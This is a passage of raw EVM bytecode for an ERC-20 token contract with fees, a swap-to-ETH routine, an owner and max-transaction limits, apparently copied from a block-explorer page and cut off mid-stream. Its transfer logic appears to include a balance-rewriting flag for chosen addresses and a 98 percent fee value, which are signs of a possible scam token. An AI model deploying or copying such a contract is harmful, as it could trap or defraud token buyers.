60405161059a9190612340565b60405180910390f35b3480156105af57600080fd5b506105b8610c87565b6040516105c59190612430565b60405180910390f35b3480156105da57600080fd5b506105e3610cb0565b6040516105f09190612159565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190612214565b610d42565b60405161062d919061226f565b60405180910390f35b34801561064257600080fd5b5061065d60048036038101906106589190612214565b610e0f565b60405161066a919061226f565b60405180910390f35b34801561067f57600080fd5b50610688610e2d565b6040516106959190612340565b60405180910390f35b3480156106aa57600080fd5b506106b3610e33565b6040516106c09190612159565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb919061228a565b610ec1565b6040516106fd919061226f565b60405180910390f35b34801561071257600080fd5b5061071b610ee1565b6040516107289190612159565b60405180910390f35b34801561073d57600080fd5b506107586004803603810190610753919061244b565b610f6f565b6040516107659190612340565b60405180910390f35b34801561077a57600080fd5b506107956004803603810190610790919061228a565b610ff6565b005b6060600780546107a6906124ba565b80601f01602080910402602001604051908101604052809291908181526020018280546107d2906124ba565b801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b5050505050905090565b600061083d6108366111ca565b84846111d2565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b601860149054906101000a900460ff1681565b60006108b7848484611366565b610978846108c36111ca565b61097385604051806060016040528060288152602001612b7960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109296111ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cc9092919063ffffffff16565b6111d2565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000610a436109a76111ca565b84610a3e85600260006109b86111ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b6111d2565b6001905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860159054906101000a900460ff1681565b600e5481565b60196020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b436111ca565b73ffffffffffffffffffffffffffffffffffffffff16610b61610c87565b73ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae90612537565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b600d5481565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610cbf906124ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610ceb906124ba565b8015610d385780601f10610d0d57610100808354040283529160200191610d38565b820191906000526020600020905b815481529060010190602001808311610d1b57829003601f168201915b5050505050905090565b6000610e05610d4f6111ca565b84610e0085604051806060016040528060258152602001612ba16025913960026000610d796111ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cc9092919063ffffffff16565b6111d2565b6001905092915050565b6000610e23610e1c6111ca565b8484611366565b6001905092915050565b600a5481565b60088054610e40906124ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6c906124ba565b8015610eb95780601f10610e8e57610100808354040283529160200191610eb9565b820191906000526020600020905b815481529060010190602001808311610e9c57829003601f168201915b505050505081565b60056020528060005260406000206000915054906101000a900460ff1681565b60078054610eee906124ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1a906124ba565b8015610f675780601f10610f3c57610100808354040283529160200191610f67565b820191906000526020600020905b815481529060010190602001808311610f4a57829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffe6111ca565b73ffffffffffffffffffffffffffffffffffffffff1661101c610c87565b73ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990612537565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906125c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081836111ac9190612618565b905092915050565b600081836111c291906126a1565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061271e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113599190612340565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc906127b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612842565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114e85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561153357601454811115611532576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611529906128d4565b60405180910390fd5b5b600b60019054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff16101580156115745750601860149054906101000a900460ff16155b80156115ce5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115e65750601860159054906101000a900460ff165b15611639576000600b60006101000a81548160ff021916908360ff160217905550600061161230610af2565b90506014548111156116245760145490505b60008111156116375761163681611937565b5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116b4576012546116a88261169a85610af2565b61192190919063ffffffff16565b11156116b357600080fd5b5b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117f65760009050601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117cf57506001601a60009054906101000a900460ff1660ff16105b156117f1576001601a60006101000a81548160ff021916908360ff1602179055505b6118ba565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361185957600d54600c819055506118b9565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118b857600e54600c819055505b5b5b6118c6848484846119ab565b50505050565b6000838311158290611914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190b9190612159565b60405180910390fd5b5082840390509392505050565b6000818361192f91906128f4565b905092915050565b6001601860146101000a81548160ff02191690831515021790555061195b81611a15565b600047905061198c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c58565b506000601860146101000a81548160ff02191690831515021790555050565b806119bd576119b8611ca3565b6119f6565b600b600081819054906101000a900460ff16809291906119dc90612928565b91906101000a81548160ff021916908360ff160217905550505b611a01848484611cff565b80611a0f57611a0e612013565b5b50505050565b6000600267ffffffffffffffff811115611a3257611a31612951565b5b604051908082528060200260200182016040528015611a605781602001602082028036833780820191505090505b5090503081600081518110611a7857611a77612980565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4391906129c4565b81600181518110611b5757611b56612980565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbe30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c22959493929190612aea565b600060405180830381600087803b158015611c3c57600080fd5b505af1158015611c50573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9e573d6000803e3d6000fd5b505050565b6000600c54148015611cb757506000600d54145b8015611cc557506000600e54145b611cfd57600d54601081905550600e54601181905550600c54600f819055506000600d819055506000600e819055506000600c819055505b565b600080611d0b8361206e565b91509150611d6183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611dfc576000611e73565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611e689190612b44565b611e729190612b44565b5b611ec583600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b611ecf91906128f4565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6481600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120049190612340565b60405180910390a35050505050565b600f54600c81905550601054600d81905550604051806040016040528060115481526020016062815250601a60009054906101000a900460ff1660ff166002811061206157612060612980565b5b6020020151600e81905550565b60008060006064600c54856120839190612618565b61208d91906126a1565b905060006120a482866120b390919063ffffffff16565b90508082935093505050915091565b600081836120c19190612b44565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121035780820151818401526020810190506120e8565b60008484015250505050565b6000601f19601f8301169050919050565b600061212b826120c9565b61213581856120d4565b93506121458185602086016120e5565b61214e8161210f565b840191505092915050565b600060208201905081810360008301526121738184612120565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121ab82612180565b9050919050565b6121bb816121a0565b81146121c657600080fd5b50565b6000813590506121d8816121b2565b92915050565b6000819050919050565b6121f1816121de565b81146121fc57600080fd5b50565b60008135905061220e816121e8565b92915050565b6000806040838503121561222b5761222a61217b565b5b6000612239858286016121c9565b925050602061224a858286016121ff565b9150509250929050565b60008115159050919050565b61226981612254565b82525050565b60006020820190506122846000830184612260565b92915050565b6000602082840312156122a05761229f61217b565b5b60006122ae848285016121c9565b91505092915050565b6000819050919050565b60006122dc6122d76122d284612180565b6122b7565b612180565b9050919050565b60006122ee826122c1565b9050919050565b6000612300826122e3565b9050919050565b612310816122f5565b82525050565b600060208201905061232b6000830184612307565b92915050565b61233a816121de565b82525050565b60006020820190506123556000830184612331565b92915050565b6000806000606084860312156123745761237361217b565b5b6000612382868287016121c9565b9350506020612393868287016121c9565b92505060406123a4868287016121ff565b9150509250925092565b600060ff82169050919050565b6123c4816123ae565b82525050565b60006020820190506123df60008301846123bb565b92915050565b60006123f082612180565b9050919050565b612400816123e5565b82525050565b600060208201905061241b60008301846123f7565b92915050565b61242a816121a0565b82525050565b60006020820190506124456000830184612421565b92915050565b600080604083850312156124625761246161217b565b5b6000612470858286016121c9565b9250506020612481858286016121c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124d257607f821691505b6020821081036124e5576124e461248b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125216020836120d4565b915061252c826124eb565b602082019050919050565b6000602082019050818103600083015261255081612514565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125b36026836120d4565b91506125be82612557565b604082019050919050565b600060208201905081810360008301526125e2816125a6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612623826121de565b915061262e836121de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612667576126666125e9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126ac826121de565b91506126b7836121de565b9250826126c7576126c6612672565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006127086011836120d4565b9150612713826126d2565b602082019050919050565b60006020820190508181036000830152612737816126fb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061279a6025836120d4565b91506127a58261273e565b604082019050919050565b600060208201905081810360008301526127c98161278d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061282c6023836120d4565b9150612837826127d0565b604082019050919050565b6000602082019050818103600083015261285b8161281f565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006128be6028836120d4565b91506128c982612862565b604082019050919050565b600060208201905081810360008301526128ed816128b1565b9050919050565b60006128ff826121de565b915061290a836121de565b9250828201905080821115612922576129216125e9565b5b92915050565b6000612933826123ae565b915060ff8203612946576129456125e9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506129be816121b2565b92915050565b6000602082840312156129da576129d961217b565b5b60006129e8848285016129af565b91505092915050565b6000819050919050565b6000612a16612a11612a0c846129f1565b6122b7565b6121de565b9050919050565b612a26816129fb565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a61816121a0565b82525050565b6000612a738383612a58565b60208301905092915050565b6000602082019050919050565b6000612a9782612a2c565b612aa18185612a37565b9350612aac83612a48565b8060005b83811015612add578151612ac48882612a67565b9750612acf83612a7f565b925050600181019050612ab0565b5085935050505092915050565b600060a082019050612aff6000830188612331565b612b0c6020830187612a1d565b8181036040830152612b1e8186612a8c565b9050612b2d6060830185612421565b612b3a6080830184612331565b9695505050505050565b6000612b4f826121de565b9150612b5a836121de565b9250828203905081811115612b7257612b716125e9565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae654efbf43906fd0a49a277746e8edd96435bdd48e4f495c4589cd94c035c3d64736f6c63430008100033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c806370a08231116100f7578063a457c2d711610095578063c111d36e11610064578063c111d36e146106c9578063d28d885214610706578063dd62ed3e14610731578063f2fde38b1461076e576101d8565b8063a457c2d7146105f9578063a9059cbb14610636578063af465a2714610673578063b09f12661461069e576101d8565b80637a2fec1a116100d15780637a2fec1a1461054d5780637d1db4a5146105785780638da5cb5b146105a357806395d89b41146105ce576101d8565b806370a08231146104ce578063715018a61461050b57806378109e5414610522576101d8565b8063313ce5671161016f57806349bd5a5e1161013e57806349bd5a5e146104105780634a74bb021461043b57806354d2af78146104665780635d53f6c814610491576101d8565b8063313ce56714610340578063395093511461036b5780633b629447146103a8578063478a67e8146103e5576101d8565b80631694505e116101ab5780631694505e1461028257806318160ddd146102ad578063220f6696146102d857806323b872dd14610303576101d8565b806306fdde03146101dd578063095ea7b3146102085780630bb2dd2114610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610797565b6040516101ff9190612159565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612214565b610829565b60405161023c919061226f565b60405180910390f35b34801561025157600080fd5b5061026c6004803603810190610267919061228a565b610847565b604051610279919061226f565b60405180910390f35b34801561028e57600080fd5b50610297610867565b6040516102a49190612316565b60405180910390f35b3480156102b957600080fd5b506102c261088d565b6040516102cf9190612340565b60405180910390f35b3480156102e457600080fd5b506102ed610897565b6040516102fa919061226f565b60405180910390f35b34801561030f57600080fd5b5061032a6004803603810190610325919061235b565b6108aa565b604051610337919061226f565b60405180910390f35b34801561034c57600080fd5b50610355610983565b60405161036291906123ca565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612214565b61099a565b60405161039f919061226f565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca919061228a565b610a4d565b6040516103dc919061226f565b60405180910390f35b3480156103f157600080fd5b506103fa610a6d565b6040516104079190612406565b60405180910390f35b34801561041c57600080fd5b50610425610a93565b6040516104329190612430565b60405180910390f35b34801561044757600080fd5b50610450610ab9565b60405161045d919061226f565b60405180910390f35b34801561047257600080fd5b5061047b610acc565b6040516104889190612340565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b3919061228a565b610ad2565b6040516104c5919061226f565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061228a565b610af2565b6040516105029190612340565b60405180910390f35b34801561051757600080fd5b50610520610b3b565b005b34801561052e57600080fd5b50610537610c75565b6040516105449190612340565b60405180910390f35b34801561055957600080fd5b50610562610c7b565b60405161056f9190612340565b60405180910390f35b34801561058457600080fd5b5061058d610c81565b60405161059a9190612340565b60405180910390f35b3480156105af57600080fd5b506105b8610c87565b6040516105c59190612430565b60405180910390f35b3480156105da57600080fd5b506105e3610cb0565b6040516105f09190612159565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190612214565b610d42565b60405161062d919061226f565b60405180910390f35b34801561064257600080fd5b5061065d60048036038101906106589190612214565b610e0f565b60405161066a919061226f565b60405180910390f35b34801561067f57600080fd5b50610688610e2d565b6040516106959190612340565b60405180910390f35b3480156106aa57600080fd5b506106b3610e33565b6040516106c09190612159565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb919061228a565b610ec1565b6040516106fd919061226f565b60405180910390f35b34801561071257600080fd5b5061071b610ee1565b6040516107289190612159565b60405180910390f35b34801561073d57600080fd5b506107586004803603810190610753919061244b565b610f6f565b6040516107659190612340565b60405180910390f35b34801561077a57600080fd5b506107956004803603810190610790919061228a565b610ff6565b005b6060600780546107a6906124ba565b80601f01602080910402602001604051908101604052809291908181526020018280546107d2906124ba565b801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b5050505050905090565b600061083d6108366111ca565b84846111d2565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b601860149054906101000a900460ff1681565b60006108b7848484611366565b610978846108c36111ca565b61097385604051806060016040528060288152602001612b7960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109296111ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cc9092919063ffffffff16565b6111d2565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000610a436109a76111ca565b84610a3e85600260006109b86111ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b6111d2565b6001905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860159054906101000a900460ff1681565b600e5481565b60196020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b436111ca565b73ffffffffffffffffffffffffffffffffffffffff16610b61610c87565b73ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae90612537565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b600d5481565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610cbf906124ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610ceb906124ba565b8015610d385780601f10610d0d57610100808354040283529160200191610d38565b820191906000526020600020905b815481529060010190602001808311610d1b57829003601f168201915b5050505050905090565b6000610e05610d4f6111ca565b84610e0085604051806060016040528060258152602001612ba16025913960026000610d796111ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cc9092919063ffffffff16565b6111d2565b6001905092915050565b6000610e23610e1c6111ca565b8484611366565b6001905092915050565b600a5481565b60088054610e40906124ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6c906124ba565b8015610eb95780601f10610e8e57610100808354040283529160200191610eb9565b820191906000526020600020905b815481529060010190602001808311610e9c57829003601f168201915b505050505081565b60056020528060005260406000206000915054906101000a900460ff1681565b60078054610eee906124ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1a906124ba565b8015610f675780601f10610f3c57610100808354040283529160200191610f67565b820191906000526020600020905b815481529060010190602001808311610f4a57829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffe6111ca565b73ffffffffffffffffffffffffffffffffffffffff1661101c610c87565b73ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990612537565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906125c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081836111ac9190612618565b905092915050565b600081836111c291906126a1565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061271e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113599190612340565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc906127b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612842565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114e85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561153357601454811115611532576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611529906128d4565b60405180910390fd5b5b600b60019054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff16101580156115745750601860149054906101000a900460ff16155b80156115ce5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115e65750601860159054906101000a900460ff165b15611639576000600b60006101000a81548160ff021916908360ff160217905550600061161230610af2565b90506014548111156116245760145490505b60008111156116375761163681611937565b5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116b4576012546116a88261169a85610af2565b61192190919063ffffffff16565b11156116b357600080fd5b5b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117f65760009050601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117cf57506001601a60009054906101000a900460ff1660ff16105b156117f1576001601a60006101000a81548160ff021916908360ff1602179055505b6118ba565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361185957600d54600c819055506118b9565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118b857600e54600c819055505b5b5b6118c6848484846119ab565b50505050565b6000838311158290611914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190b9190612159565b60405180910390fd5b5082840390509392505050565b6000818361192f91906128f4565b905092915050565b6001601860146101000a81548160ff02191690831515021790555061195b81611a15565b600047905061198c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c58565b506000601860146101000a81548160ff02191690831515021790555050565b806119bd576119b8611ca3565b6119f6565b600b600081819054906101000a900460ff16809291906119dc90612928565b91906101000a81548160ff021916908360ff160217905550505b611a01848484611cff565b80611a0f57611a0e612013565b5b50505050565b6000600267ffffffffffffffff811115611a3257611a31612951565b5b604051908082528060200260200182016040528015611a605781602001602082028036833780820191505090505b5090503081600081518110611a7857611a77612980565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c464860405181